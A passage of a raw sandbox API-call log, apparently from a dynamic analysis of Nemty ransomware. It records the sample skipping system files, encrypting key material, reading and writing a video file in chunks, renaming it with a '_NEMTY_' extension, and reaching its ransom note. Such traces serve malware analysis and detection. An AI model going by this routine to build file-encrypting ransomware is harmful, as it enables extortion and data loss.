(lpString1="TravelIntroToMain_PAL.wmv", lpString2="CONFIG.SYS") returned 1 [0095.749] lstrcmpiW (lpString1="TravelIntroToMain_PAL.wmv", lpString2="RECYCLER") returned 1 [0095.749] lstrcmpiW (lpString1="TravelIntroToMain_PAL.wmv", lpString2="BOOTSECT.BAK") returned 1 [0095.749] lstrcmpiW (lpString1="TravelIntroToMain_PAL.wmv", lpString2="bootmgr") returned 1 [0095.749] lstrcmpiW (lpString1="TravelIntroToMain_PAL.wmv", lpString2="programdata") returned 1 [0095.749] lstrcmpiW (lpString1="TravelIntroToMain_PAL.wmv", lpString2="appdata") returned 1 [0095.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0095.750] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TravelIntroToMain_PAL.wmv", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0095.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0095.750] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TravelIntroToMain_PAL.wmv", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TravelIntroToMain_PAL.wmv", lpUsedDefaultChar=0x0) returned 25 [0095.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0095.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0095.750] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TravelIntroToMain_PAL.wmv", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0095.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0095.750] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TravelIntroToMain_PAL.wmv", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TravelIntroToMain_PAL.wmv", lpUsedDefaultChar=0x0) returned 25 [0095.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0095.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0095.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0095.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0095.750] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TravelIntroToMain_PAL.wmv", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0095.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0095.750] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TravelIntroToMain_PAL.wmv", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TravelIntroToMain_PAL.wmv", lpUsedDefaultChar=0x0) returned 25 [0095.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0095.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0095.750] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TravelIntroToMain_PAL.wmv", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0095.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0095.750] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TravelIntroToMain_PAL.wmv", cchWideChar=25, lpMultiByteStr=0x4f9ed08, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TravelIntroToMain_PAL.wmv", lpUsedDefaultChar=0x0) returned 25 [0095.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0095.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0095.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0095.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0095.750] Sleep (dwMilliseconds=0x5) [0095.750] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xecb7fc70, dwHighDateTime=0x1d561e7)) [0095.750] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xecb7fc70, dwHighDateTime=0x1d561e7)) [0095.751] GetLastError () returned 0x5 [0095.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0095.751] GetLastError () returned 0x5 [0095.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0095.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0095.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0095.751] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0095.751] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0095.751] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0095.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0095.751] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="XUqFoimZacYD8Fb82iB0eZXV1AgHBOSZEIhgQ7Oq1//XMIQkTTp7QxdA/7IEYJfi\r\nH2oBjxcKn8Sbozy7zeRovyj5T0OxCxtT2fIbGDlfVMnu/sOYvy8slqADwbu0VrWx\r\n/vHU40AOc8wfLHrcw6mc7IY9XKtWUxz8p+BIDHDBgr5kI3DfEFEUMpEgx8LCzF2G\r\nHqEKfY3K9W+Pf7I9JDW3IWZ/9sR1MCHvxHADP/AH/rKAB6WvNx/JYMhWLiDli+jI\r\nmUkIupljReKNJOafqlRDtG7xkYv6AFm2bgOX9FLWdBu8HI+iPaPiJQEIwDBkhTjv\r\n1YUrx8pcNtr/4yKohVOkiA==\r\n", pcchString=0x653e91c) returned 1 [0095.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0095.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0095.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0095.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0095.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0095.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0095.751] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.752] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0095.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0095.752] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.752] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.761] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.761] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.761] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.761] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.802] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.802] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.802] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.802] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.811] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.811] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.811] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.811] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.821] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.821] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.821] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.821] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.831] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.831] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.831] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.831] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.840] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.840] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.840] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.840] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.849] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.850] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.850] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.850] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.859] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.859] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.859] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.859] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.868] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.868] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.868] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.868] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.878] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.878] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.878] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.878] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.884] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.884] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.884] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.884] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.890] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.890] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.890] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.890] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0095.890] CloseHandle (hObject=0xffffffff) returned 0 [0095.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0095.890] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0095.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0095.890] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0095.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0095.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0095.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0095.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0095.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0095.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0095.890] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain_PAL.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain_pal.wmv._nemty_kgobjgd_")) returned 0 [0095.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0095.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0095.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0095.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0095.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0095.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0095.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0095.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0095.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0095.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0095.891] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaec9310, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xeaec9310, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xeaec9310, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0095.891] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0095.891] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0095.891] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0095.891] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0095.891] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0095.891] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0095.891] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0095.891] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0095.891] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0095.891] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0095.891] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0095.891] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0095.891] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0095.891] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0095.891] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0095.891] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0095.891] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0095.891] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0095.891] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0095.891] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0095.891] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0095.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0095.892] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0095.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0095.892] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0095.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0095.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0095.892] WideCharToMultiByte (in: 